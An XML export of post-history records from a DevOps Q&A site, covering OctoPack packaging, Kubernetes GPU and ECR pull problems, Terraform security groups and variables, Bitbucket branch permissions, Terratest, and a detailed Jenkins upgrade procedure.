  <row Id="29108" PostHistoryTypeId="2" PostId="9734" RevisionGUID="57f0d558-406b-41c2-9562-e4af36061c64" CreationDate="2019-11-07T21:15:11.587" UserId="397" Text="So you need to create packages for each of the three sites so that you can deploy each one individually.&#xD;&#xA;&#xD;&#xA;The first step is to [create a `.nuspec`][1] file for each of the IIS websites you want to package:&#xD;&#xA;&#xD;&#xA;1. Install OctoPack and [read the entire article][1]&#xD;&#xA;2. Create three empty text files next to the `.csproj`, give it the same base filename as the `.csproj`, thus if it is `MyApp.API.csproj` you want to create an empty text file called `MyApp.API.nuspec`.&#xD;&#xA;3. In each of these `.nuspec` files paste in the following template:&#xD;&#xA;    ```&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot;?&gt;&#xD;&#xA;    &lt;package xmlns=&quot;http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd&quot;&gt;&#xD;&#xA;    &lt;metadata&gt;&#xD;&#xA;        &lt;id&gt;Sample.Web&lt;/id&gt;&#xD;&#xA;        &lt;title&gt;Your Web Application&lt;/title&gt;&#xD;&#xA;        &lt;version&gt;1.0.0&lt;/version&gt;&#xD;&#xA;        &lt;authors&gt;Your name&lt;/authors&gt;&#xD;&#xA;        &lt;owners&gt;Your name&lt;/owners&gt;&#xD;&#xA;        &lt;licenseUrl&gt;http://yourcompany.com&lt;/licenseUrl&gt;&#xD;&#xA;        &lt;projectUrl&gt;http://yourcompany.com&lt;/projectUrl&gt;&#xD;&#xA;        &lt;requireLicenseAcceptance&gt;false&lt;/requireLicenseAcceptance&gt;&#xD;&#xA;        &lt;description&gt;A sample project&lt;/description&gt;&#xD;&#xA;        &lt;releaseNotes&gt;This release contains the following changes...&lt;/releaseNotes&gt;&#xD;&#xA;    &lt;/metadata&gt;&#xD;&#xA;    &lt;/package&gt;&#xD;&#xA;    ```&#xD;&#xA;4. Customize the template for each of your projects.&#xD;&#xA;5. Update TeamCity to add `/p:RunOctoPack=true` to the `msbuild` command line&#xD;&#xA;6. Publish your packages with the following msbuild arguments:&#xD;&#xA;  - `/p:OctoPackPublishPackageToHttp=http://your.octopusserver.com/nuget/packages`&#xD;&#xA;  - `/p:OctoPackPublishApiKey=API-ABCDEFGMYAPIKEY`&#xD;&#xA;&#xD;&#xA;You may have to play around a bit, but essentially the above is taken from [this article][1] so treat that as your bible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://octopus.com/docs/packaging-applications/create-packages/octopack" ContentLicense="CC BY-SA 4.0" />
  <row Id="29109" PostHistoryTypeId="2" PostId="9735" RevisionGUID="6fe73571-e212-4d02-b038-22325f293187" CreationDate="2019-11-08T06:58:22.393" UserId="18065" Text="Just like the headline suggested, is it too big to implement devOps on a private application I'm solely developing. I mean creating the pipelines, continuous testing and continuous deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="29110" PostHistoryTypeId="1" PostId="9735" RevisionGUID="6fe73571-e212-4d02-b038-22325f293187" CreationDate="2019-11-08T06:58:22.393" UserId="18065" Text="Should I implement Devops on a small project. Is it too big for it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29111" PostHistoryTypeId="3" PostId="9735" RevisionGUID="6fe73571-e212-4d02-b038-22325f293187" CreationDate="2019-11-08T06:58:22.393" UserId="18065" Text="&lt;azure-devops&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29118" PostHistoryTypeId="50" PostId="5895" RevisionGUID="12152813-33c1-4aa9-ad4b-0a8e4db04ae2" CreationDate="2019-11-08T11:02:25.383" UserId="-1" />
  <row Id="29121" PostHistoryTypeId="2" PostId="9738" RevisionGUID="5246b56d-221a-4842-87df-9acd4075895e" CreationDate="2019-11-08T13:46:40.443" UserId="11474" Text="I have setup a kubernetes node with a nvidia tesla k80 and followed [this tutorial][1] to try to run a pytorch docker image with nvidia drivers and cuda drivers working.&#xD;&#xA;&#xD;&#xA;I have managed to install the nvidia daemonsets and i can now see the following pods: &#xD;&#xA;```&#xD;&#xA;nvidia-driver-installer-gmvgt&#xD;&#xA;nvidia-gpu-device-plugin-lmj84&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The problem is that even while using the recommendend image `nvidia/cuda:10.0-runtime-ubuntu18.04` i still can't find the nvidia drivers inside my pod:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@pod-name-5f6f776c77-87qgq:/app# ls /usr/local/&#xD;&#xA;bin  cuda  cuda-10.0  etc  games  include  lib  man  sbin  share  src&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But the tutorial mention:&#xD;&#xA;&#xD;&#xA;&gt;CUDA libraries and debug utilities are made available inside the container at `/usr/local/nvidia/lib64` and `/usr/local/nvidia/bin`, respectively.&#xD;&#xA;&#xD;&#xA;I have also tried to test if cuda was working through `torch.cuda.is_available()` but i get False as a return value.&#xD;&#xA;&#xD;&#xA;Many help in advance for your help&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/kubernetes-engine/docs/how-to/gpus" ContentLicense="CC BY-SA 4.0" />
  <row Id="29122" PostHistoryTypeId="1" PostId="9738" RevisionGUID="5246b56d-221a-4842-87df-9acd4075895e" CreationDate="2019-11-08T13:46:40.443" UserId="11474" Text="GKE - GPU nvidia - cuda drivers dont work" ContentLicense="CC BY-SA 4.0" />
  <row Id="29123" PostHistoryTypeId="3" PostId="9738" RevisionGUID="5246b56d-221a-4842-87df-9acd4075895e" CreationDate="2019-11-08T13:46:40.443" UserId="11474" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29124" PostHistoryTypeId="2" PostId="9739" RevisionGUID="79550554-a76d-42aa-aca7-8b5a62c83e8f" CreationDate="2019-11-08T13:58:05.873" UserId="18072" Text="We are using GitFlow workflow. After merging the release/* branch to master, we need to close the branch. For this task, we need to provide deletion access to pull request merger but in this case, merger can delete the release/* branch any time. &#xD;&#xA;&#xD;&#xA;Do we have any option to restrict the branch closer only after it is merged to some other branch ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29125" PostHistoryTypeId="1" PostId="9739" RevisionGUID="79550554-a76d-42aa-aca7-8b5a62c83e8f" CreationDate="2019-11-08T13:58:05.873" UserId="18072" Text="Bitbucket: Is there any option to restrict deletion of release branch only after it is merged to master" ContentLicense="CC BY-SA 4.0" />
  <row Id="29126" PostHistoryTypeId="3" PostId="9739" RevisionGUID="79550554-a76d-42aa-aca7-8b5a62c83e8f" CreationDate="2019-11-08T13:58:05.873" UserId="18072" Text="&lt;git&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29127" PostHistoryTypeId="6" PostId="9738" RevisionGUID="3de30f0d-14e9-4143-a10d-b9315e5728a4" CreationDate="2019-11-08T14:35:50.463" UserId="11474" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29128" PostHistoryTypeId="2" PostId="9740" RevisionGUID="5c91ba90-51cb-4ede-a1ec-a508011d2713" CreationDate="2019-11-08T14:56:34.463" UserId="11474" Text="Ok so i finally made it work.&#xD;&#xA;&#xD;&#xA;It is mandatory set a ressource limit to access the nvidia driver, which is weird considering either way my pod was on the right node with the nvidia drivers installed.." ContentLicense="CC BY-SA 4.0" />
  <row Id="29129" PostHistoryTypeId="2" PostId="9741" RevisionGUID="2538b3fc-262d-44e6-b9b7-aaae85a9e45d" CreationDate="2019-11-08T15:13:07.847" UserId="17508" Text="Using the `eksctl` tool, I created an EKS cluster with 5 nodes. My application's docker images are stored in ECR registries in the same region. I deployed my kubernetes cluster and everything has been happy for the past 6 weeks or so.&#xD;&#xA;&#xD;&#xA;This morning, I came in and found 3 pods were in an `ErrImagePull` state. Using `kubectl describe pod &lt;pod name&gt;`, I found the error:&#xD;&#xA;&#xD;&#xA;`Failed to pull image &quot;&lt;ECR REGISTRY&gt;/&lt;IMAGE&gt;&quot;: rpc error: code = Unknown desc = Error response from daemon: Get &lt;ECR REGISTRY&gt;/&lt;IMAGE&gt;: no basic auth credentials`&#xD;&#xA;&#xD;&#xA;My understanding of EKS and ECR is that I don't need a pull secret (and I haven't used one for any of the other running pods) so my guess is that some process or docker image on that node died but I can't find any docs on this." ContentLicense="CC BY-SA 4.0" />
  <row Id="29130" PostHistoryTypeId="1" PostId="9741" RevisionGUID="2538b3fc-262d-44e6-b9b7-aaae85a9e45d" CreationDate="2019-11-08T15:13:07.847" UserId="17508" Text="EKS node cannot pull docker image from ECR: &quot;no basic auth credentials&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29131" PostHistoryTypeId="3" PostId="9741" RevisionGUID="2538b3fc-262d-44e6-b9b7-aaae85a9e45d" CreationDate="2019-11-08T15:13:07.847" UserId="17508" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29134" PostHistoryTypeId="2" PostId="9743" RevisionGUID="0c82e338-ccfb-4eb1-b63d-6283135b66e9" CreationDate="2019-11-08T21:57:53.687" UserId="18082" Text="Take a look on this project to manage your ansible vault encrypting passwords https://github.com/Smile-SA/ansible-vault-manager&#xD;&#xA;&#xD;&#xA;It handle multiple keyring storage platforms with plugins (for now only AWS SSM implemented). Morehover integration with a current Ansible project is very easy...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29174" PostHistoryTypeId="2" PostId="9745" RevisionGUID="c1dbf7b8-3d43-4e1d-85b4-c19e795323ac" CreationDate="2019-11-09T03:00:37.230" UserId="11221" Text="I am trying to use Terraform to create a single security group that will allow traffic for mongo on port `27017` from all my private subnets that are stored in a variable. My issue is I am unsure how this would work since I only want one SG but the foreach creates multiple - at least it did before with subnets&#xD;&#xA;&#xD;&#xA;my variable&#xD;&#xA;```&#xD;&#xA;variable &quot;subnet_numbers_private&quot; {&#xD;&#xA;  description = &quot;Useless info&quot;&#xD;&#xA;  default     = {&#xD;&#xA;    &quot;us-east-1a&quot; = 1&#xD;&#xA;    &quot;us-east-1b&quot; = 2&#xD;&#xA;    &quot;us-east-1c&quot; = 3&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;my security group resource&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_security_group&quot; &quot;mongo&quot; {&#xD;&#xA;  for_each = var.subnet_numbers_private&#xD;&#xA;  name        = &quot;Mongo&quot;&#xD;&#xA;  description = &quot;Allow mongo traffic&quot;&#xD;&#xA;  vpc_id      = aws_vpc.Main_VPC.id&#xD;&#xA;&#xD;&#xA;  ingress {&#xD;&#xA;    from_port   = 27017&#xD;&#xA;    to_port     = 27017&#xD;&#xA;    protocol    = &quot;tcp&quot;&#xD;&#xA;    cidr_blocks = [cidrsubnet(aws_vpc.Main_VPC.cidr_block, 8, each.value)]&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Name = &quot;Mongo-${each.key}&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Currently this just provides an error that doesn't mean much to me as I don't know TF 0.12 well enough&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Because aws_security_group.mongo has &quot;for_each&quot; set, its attributes must be&#xD;&#xA;accessed on specific instances.&#xD;&#xA;&#xD;&#xA;For example, to correlate with indices of a referring resource, use:&#xD;&#xA;    aws_security_group.mongo[each.key]&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29175" PostHistoryTypeId="1" PostId="9745" RevisionGUID="c1dbf7b8-3d43-4e1d-85b4-c19e795323ac" CreationDate="2019-11-09T03:00:37.230" UserId="11221" Text="Terraform creating single SG but multiple CIDR blocks" ContentLicense="CC BY-SA 4.0" />
  <row Id="29176" PostHistoryTypeId="3" PostId="9745" RevisionGUID="c1dbf7b8-3d43-4e1d-85b4-c19e795323ac" CreationDate="2019-11-09T03:00:37.230" UserId="11221" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29177" PostHistoryTypeId="2" PostId="9746" RevisionGUID="4d610bd7-3d61-4950-a1c6-d11b785a1a5f" CreationDate="2019-11-09T03:20:37.770" UserId="11221" Text="Figured out the answer, fourtinately for me I had missed the example in the blog post about terraform 0.12 linked below&#xD;&#xA;&#xD;&#xA;Here is my final (working how I want) security group&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_security_group&quot; &quot;mongo&quot; {&#xD;&#xA;  name        = &quot;Mongo&quot;&#xD;&#xA;  description = &quot;Allow mongo traffic&quot;&#xD;&#xA;  vpc_id      = aws_vpc.Main_VPC.id&#xD;&#xA;&#xD;&#xA;  ingress {&#xD;&#xA;    from_port   = 27017&#xD;&#xA;    to_port     = 27017&#xD;&#xA;    protocol    = &quot;tcp&quot;&#xD;&#xA;    cidr_blocks = [&#xD;&#xA;      for num in var.private_subnet_numbers:&#xD;&#xA;      cidrsubnet(aws_vpc.Main_VPC.cidr_block, 8, num)&#xD;&#xA;    ]&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Name = &quot;Mongo&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Link to blog post about foreach - https://www.hashicorp.com/blog/hashicorp-terraform-0-12-preview-for-and-for-each/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29180" PostHistoryTypeId="50" PostId="9381" RevisionGUID="fa1be4eb-7c1e-48cd-a587-3091efb32dc1" CreationDate="2019-11-09T10:01:10.130" UserId="-1" />
  <row Id="29181" PostHistoryTypeId="2" PostId="9747" RevisionGUID="20e7a1bd-79f1-4c04-8c90-b645b20825a1" CreationDate="2019-11-09T15:28:58.637" UserId="17043" Text="I am getting an error while running the Jenkins file tp build and push the docker image into docker hub .&#xD;&#xA;&#xD;&#xA;you can reveiw my code github : https://github.com/iakshaykr/webapp.git (using jenkins_pipe branch not master branch )&#xD;&#xA;&#xD;&#xA;Jenkinsfile : &#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;    environment {&#xD;&#xA;        registry= &quot;iakshaykr/webapp&quot;&#xD;&#xA;        registryCredential= 'dockerhub'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    agent { dockerfile true }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage('Bilding image') {&#xD;&#xA;            steps {&#xD;&#xA;             script {&#xD;&#xA;                 docker.build registry + &quot;:$BUILD_NUMBER&quot;&#xD;&#xA;              }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;}[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Az98F.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29182" PostHistoryTypeId="1" PostId="9747" RevisionGUID="20e7a1bd-79f1-4c04-8c90-b645b20825a1" CreationDate="2019-11-09T15:28:58.637" UserId="17043" Text="Jenkins does not seem to be running inside a container" ContentLicense="CC BY-SA 4.0" />
  <row Id="29183" PostHistoryTypeId="3" PostId="9747" RevisionGUID="20e7a1bd-79f1-4c04-8c90-b645b20825a1" CreationDate="2019-11-09T15:28:58.637" UserId="17043" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;dockerfile&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29184" PostHistoryTypeId="2" PostId="9748" RevisionGUID="937fed8b-ff63-46df-94f0-75a0e419518a" CreationDate="2019-11-09T21:11:23.240" UserId="18020" Text="The question you need to answer is &quot;would I find it entertaining to set up a CI/CD environment if not to learn from it then just for the fun of it?&quot;.&#xD;&#xA;You *may* not *need* it at this point in your project or it *may* benefit you. That I can't tell from the limited information. Linux started as a personal project, too. I set up something similar for my own pet project and I've gotta admit I feel a little bit proud every time I compile and deploy with a single click.&#xD;&#xA;&#xD;&#xA;Should you implement it? That's for you to decide." ContentLicense="CC BY-SA 4.0" />
  <row Id="29185" PostHistoryTypeId="5" PostId="4048" RevisionGUID="a34e6d4a-15c9-4c3e-86d6-f77479ed0f16" CreationDate="2019-11-09T22:06:31.587" UserId="18092" Comment="add syntax coloring for golang" Text="We recently open sourced [Terratest](https://blog.gruntwork.io/open-sourcing-terratest-a-swiss-army-knife-for-testing-infrastructure-code-5d883336fcd5), our swiss army knife for testing infrastructure code. &#xD;&#xA;&#xD;&#xA;Today, you're probably testing all your infrastructure code manually by deploying, validating, and undeploying. Terratest helps you automate this process:&#xD;&#xA;&#xD;&#xA;1. Write tests in Go.&#xD;&#xA;1. Use helpers in Terratest to execute your real IaC tools (e.g., Terraform, Packer, etc.) to deploy real infrastructure (e.g., servers) in a real environment (e.g., AWS).&#xD;&#xA;1. Use helpers in Terratest to validate that the infrastructure works correctly in that environment by making HTTP requests, API calls, SSH connections, etc.&#xD;&#xA;1. Use helpers in Terratest to undeploy everything at the end of the test.&#xD;&#xA;&#xD;&#xA;Here's an example test for some Terraform code:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: golang --&gt;&#xD;&#xA;&#xD;&#xA;    terraformOptions := &amp;terraform.Options {&#xD;&#xA;      // The path to where your Terraform code is located&#xD;&#xA;      TerraformDir: &quot;../examples/terraform-basic-example&quot;,&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    // This will run `terraform init` and `terraform apply` and fail the test if there are any errors&#xD;&#xA;    terraform.InitAndApply(t, terraformOptions)&#xD;&#xA;&#xD;&#xA;    // At the end of the test, run `terraform destroy` to clean up any resources that were created&#xD;&#xA;    defer terraform.Destroy(t, terraformOptions)&#xD;&#xA;&#xD;&#xA;    // Run `terraform output` to get the value of an output variable&#xD;&#xA;    instanceUrl := terraform.Output(t, terraformOptions, &quot;instance_url&quot;)&#xD;&#xA;&#xD;&#xA;    // Verify that we get back a 200 OK with the expected text&#xD;&#xA;    // It can take a minute or so for the Instance to boot up, so retry a few times&#xD;&#xA;    expected := &quot;Hello, World&quot;&#xD;&#xA;    maxRetries := 15&#xD;&#xA;    timeBetweenRetries := 5 * time.Second&#xD;&#xA;    http_helper.HttpGetWithRetry(t, instanceUrl, 200, expected, maxRetries, timeBetweenRetries)&#xD;&#xA;&#xD;&#xA;These are integration tests, and depending on what you're testing, can take 5 - 50 minutes. It's not fast (though using [Docker](https://github.com/gruntwork-io/terratest#iterating-locally-using-docker) and [test stages](https://github.com/gruntwork-io/terratest#iterating-locally-using-test-stages), you can speed *some* things up), and you'll have to work to make the tests reliable, but it is well worth the time.&#xD;&#xA;&#xD;&#xA;Check out the [Terratest repo](https://github.com/gruntwork-io/terratest#iterating-locally-using-test-stages) for docs and lots of examples of various types of infrastructure code and the corresponding tests for them." ContentLicense="CC BY-SA 4.0" />
  <row Id="29186" PostHistoryTypeId="24" PostId="4048" RevisionGUID="a34e6d4a-15c9-4c3e-86d6-f77479ed0f16" CreationDate="2019-11-09T22:06:31.587" Comment="Proposed by 18092 approved by 30 edit id of 1117" ContentLicense="CC BY-SA 4.0" />
  <row Id="29187" PostHistoryTypeId="2" PostId="9749" RevisionGUID="0ef244ab-ef6d-4de9-8332-41f77877d335" CreationDate="2019-11-10T09:02:08.303" UserId="13379" Text="Not to take away from @vaporwave_sailor or @Alex, answers, but to add to..&#xD;&#xA;&#xD;&#xA;The basic answer is **you MUST upgrade the war first, then the plugins.** All plugins depend on a minimum Jenkins version and the [Update Centre][1] will give you different information back.&#xD;&#xA;&#xD;&#xA;If you don't upgrade often, use the [LTS version][2]. **READ the [Upgrade Guide][3]. READ the [Changelog][4]. Re-READ the [Upgrade Guide][3]**. Do the same for all your **core plugins**. There are **significant changes**, especially around security which may require modifications on your part. Many previously bundled are no longer bundled. Long unsupported plugins may have better alternatives or contain security issues you should be aware of. Behaviors and settings may change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The following are NOT exact steps, rather things to do in the process. Descriptive, not preservative.&#xD;&#xA;&#xD;&#xA;Consider installing the Jenkins [Configuration as Code (JCasC) plugi][5]n to your existing installation first. That will generally let you export almost your entire configuration and simply reload into a new instance. Much easier, but does not handle plugins. For now rip a solution from [docker/install_plugins.sh][6] for local use; see [Preinstalling Plugins][7].&#xD;&#xA;&#xD;&#xA;Take a backup of your existing Jenkins and install install a &quot;Dev&quot; location. Validate your upgrade there before applying to Prod. ALWAYS. (Also, regularly backup your Prod anyway).&#xD;&#xA;&#xD;&#xA;Split the backup in two parts, the system configuration and the jobs. Jobs are in ${JENKINS_HOME}/jobs. The system configuration includes (in `${JENKINS_HOME}`),  `./*.xml ./secret.key* ./secrets ./security-tokens ./nodes` , possibly others.&#xD;&#xA;&#xD;&#xA;Back to the plugins for a minute. I agree w/adding them in segments:&#xD;&#xA;&#xD;&#xA; - Authentication plugins&#xD;&#xA; - Presentation plugins (eg:Active-directory, credentials)&#xD;&#xA; - SCM plugins (eg: Git)&#xD;&#xA; - Adminstrative plugins (eg: greenballs, windows-slaves)&#xD;&#xA; - Tools plugins (eg: ant, maven-plugin)&#xD;&#xA; - Pipeline plugins (eg: workflow-aggregator, Blue-Ocean, K8s) &#xD;&#xA;&#xD;&#xA;All the above are &quot;Global plugins, with Configurations&quot;&#xD;&#xA;&#xD;&#xA; - Finally, job step plugins; these are job specific.&#xD;&#xA;&#xD;&#xA;If using the install_plugins.sh approach, you only need worry about the highest level plugin as it will pull the dependencies. If you install blueocean, it installs some 25 plugins. Just specify the first and you get the rest. Bear in mind, install_plugins.sh is dynamic, in that it gets the available dependencies at the time. So, we decide on the top list, manage that, run once to get the complete list, then read the validated explicit list into the Prod instance (manage the short one, use the complete one, save both). We manage 55 top-level plugins, but there are 160 installed including all dependencies in the full list.&#xD;&#xA;&#xD;&#xA;This groovy script will get you your existing plugins:&#xD;&#xA;&#xD;&#xA;    Jenkins.instance.pluginManager.plugins.sort(false) { a, b -&gt; a.getShortName().toLowerCase() &lt;=&gt; b.getShortName().toLowerCase()}.each { plugin -&gt;&#xD;&#xA;       println &quot;${plugin.getShortName()}:${plugin.getVersion()} | ${plugin.getDisplayName()} &quot;&#xD;&#xA;    }&#xD;&#xA;       // the following may also be useful&#xD;&#xA;       // println &quot;+++ ${plugin.getDependants()}&quot;&#xD;&#xA;       // println &quot;... ${plugin.getDependencies()&quot;&#xD;&#xA;&#xD;&#xA;In the Dev instance, install the war, install the plugins, create a file `${JENKINS_HOME}/init.groovy`, add the line:&#xD;&#xA;`Hudson.instance.doQuietDown();`. That lets your system start without letting any [jobs start][8]. That way you can examine the system logs w/o panicking or getting confused. Look at everything before `INFO: Jenkins is fully up and running`.&#xD;&#xA;&#xD;&#xA;Now, you can install the system configurations, but not the `./jobs` and not the `./nodes`. Start it up and **check the logs** for information, warning alerts and errors. &#xD;&#xA;&#xD;&#xA;You might even want to start with your existing war version and existing plugins and basic config, fire that up and save the logs as references. Then, using the UI, upgrade the war, then restart, then the plugins using the UI, then restart, then check and save the logs as references.&#xD;&#xA;&#xD;&#xA;If using JCasC, you may go w/a slim install of the configurations,then import your JCasC configurations. [JCasC usage here][9].&#xD;&#xA;&#xD;&#xA;*NB: You will notice one major change is more plugins are moving to their own xml configuration instead of adding to the master config.xml. There are many plugins especially that say this configuration is NOT backward compatible. You would have to restore the old config when &quot;downgrading&quot; (correct language - start again from step 1)&#xD;&#xA;&#xD;&#xA;Only once your core system starts fine, then I would add the jobs (with `QuietDown()` in place ), no nodes and in QuiteDown. Start up again, examine logs for errors, upgrade warnings, etc. Deal w/those. Many plugins will change their data format, hence the many warnings you see, and the [&quot;Manage Old Data&quot;][10]. IF you're truly paranoid, you may even write a little groovy script that finds all your jobs and re-saves them. While Jenkins knows of the configuration changes, it does not actually change and update the plugin references in the jobs until the job is run or saved (if you need a script, ask a separate question).&#xD;&#xA;&#xD;&#xA;Shutdown, delete the jobs directory (this is your DEV instance, so you are OK). &#xD;&#xA;&#xD;&#xA;Startup up again and create a small set of validation jobs. These validate all the steps of your real jobs but without impacting them. They are the &quot;test cases&quot; @Alex refers to. We use &quot;sampleApps&quot; of different flavors we have and jobs that cover all the steps. We have test jobs that just get on a node, dump the environment, jobs that clone a repo and build (in the flavors), one that does the whole cycle: clone, build analyze, test, deploy, as well as pipeline jobs (phased). You can now add the nodes configuration and startup and execute those. **They are your validation**. If they work, then you are as prepared as you can be. You can now export the JCasC configuration as well.&#xD;&#xA;&#xD;&#xA;Now, delete the entire Dev instance and **REDO** using only your finalized configuration and steps as you documented. Did everything work as expected? Run JCasC again, did they match?&#xD;&#xA;&#xD;&#xA;Now you can apply the same finalized configuration to your Prod. Shutdown Production and TAKE ANOTHER BACKUP. I'd add the `QuietDown()` first to Prod. &#xD;&#xA;&#xD;&#xA;Finally, consider taking advantage of some new &quot;[System Properties][11]&quot;. You can now set locations outside of ${JENKINS_HOME} for `jenkins.model.Jenkins.buildsDir` (ps: sym-links in builds are [now optional][12]) and `jenkins.model.Jenkins.workspacesDir`, removing useless data from the ${JENKINS_HOME}. Your backups will be smaller and simpler and your system performacne may improve! You'll also want to set `jenkins.install.runSetupWizard` to false.&#xD;&#xA;&#xD;&#xA;Remember, this is descriptive, not preservative. Tailor to your own needs and risk tolerance.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkins-infra/update-center2/tree/master/site&#xD;&#xA;  [2]: https://jenkins.io/download/&#xD;&#xA;  [3]: https://jenkins.io/doc/upgrade-guide&#xD;&#xA;  [4]: https://jenkins.io/changelog-stable&#xD;&#xA;  [5]: https://plugins.jenkins.io/configuration-as-code&#xD;&#xA;  [6]: http://docker/install_plugins.s&#xD;&#xA;  [7]: https://github.com/jenkinsci/docker#preinstalling-plugins&#xD;&#xA;  [8]: https://www.praqma.com/stories/jenkins-quiet-startup/&#xD;&#xA;  [9]: https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/README.md&#xD;&#xA;  [10]: https://jenkins.io/doc/book/managing/plugins/#removing-old-data&#xD;&#xA;  [11]: https://wiki.jenkins.io/display/JENKINS/Features+controlled+by+system+properties&#xD;&#xA;  [12]: https://wiki.jenkins.io/display/JENKINS/Build+Symlink+Plugin&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29188" PostHistoryTypeId="50" PostId="6351" RevisionGUID="b6516b09-b914-49b5-8932-83dff3ad5522" CreationDate="2019-11-10T10:00:45.070" UserId="-1" />
  <row Id="29189" PostHistoryTypeId="5" PostId="6156" RevisionGUID="a2e26aff-d18f-4fd7-bd0e-da047cf18bde" CreationDate="2019-11-10T21:22:37.643" UserId="10599" Comment="added 3 characters in body" Text="Okay the answer to this is that you can set `spec.serviceAccountName` on the `dc` and the secrets are mounted.&#xD;&#xA;&#xD;&#xA;Annoyingly the same does not hold true for BuildConfig objects. They have an inconsistently named `spec.serviceAccount`. Setting that doesn’t mount any secrets associated with the `sa`. It also means your build isn’t an “image puller” until you explicitly set that up. So this configuration option appears pretty useless as at openshift 3.11.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29193" PostHistoryTypeId="2" PostId="9751" RevisionGUID="11d8246c-e608-4d6c-b6d2-99acdffd90d7" CreationDate="2019-11-11T08:19:33.273" UserId="189" Text="If you simply google &quot;jenkins does not seem to be running inside a container&quot;, you will see that it's only an informational message. Surely, it could be worded better, but it's pretty much harmless. " ContentLicense="CC BY-SA 4.0" />
  <row Id="29194" PostHistoryTypeId="5" PostId="9747" RevisionGUID="d1891986-eb94-4b01-a42a-cd4a481efc18" CreationDate="2019-11-11T08:31:43.287" UserId="354" Comment="Fix formatting" Text="I am getting an error while running the Jenkins file tp build and push the docker image into docker hub .&#xD;&#xA;&#xD;&#xA;you can reveiw my code github : https://github.com/iakshaykr/webapp.git (using jenkins_pipe branch not master branch )&#xD;&#xA;&#xD;&#xA;Jenkinsfile : &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    environment {&#xD;&#xA;        registry= &quot;iakshaykr/webapp&quot;&#xD;&#xA;        registryCredential= 'dockerhub'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    agent { dockerfile true }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage('Bilding image') {&#xD;&#xA;            steps {&#xD;&#xA;             script {&#xD;&#xA;                 docker.build registry + &quot;:$BUILD_NUMBER&quot;&#xD;&#xA;              }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Screenshot of the jenkins job log][1]][1]&#xD;&#xA;&#xD;&#xA;[1]: https://i.stack.imgur.com/Az98F.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29195" PostHistoryTypeId="2" PostId="9752" RevisionGUID="7a737686-ec35-44f2-850a-3608d7550f99" CreationDate="2019-11-11T10:15:17.227" UserId="17276" Text="It's for the public key variable for testing lab enviroments in my variables.tf file &#xD;&#xA;I tried &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;`&lt;&lt;EOF&#xD;&#xA;the string&#xD;&#xA;EOF&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;but terraform dosn't seem to like that" ContentLicense="CC BY-SA 4.0" />
  <row Id="29196" PostHistoryTypeId="1" PostId="9752" RevisionGUID="7a737686-ec35-44f2-850a-3608d7550f99" CreationDate="2019-11-11T10:15:17.227" UserId="17276" Text="How do I enter a multi line variable in Terraform?" ContentLicense="CC BY-SA 4.0" />
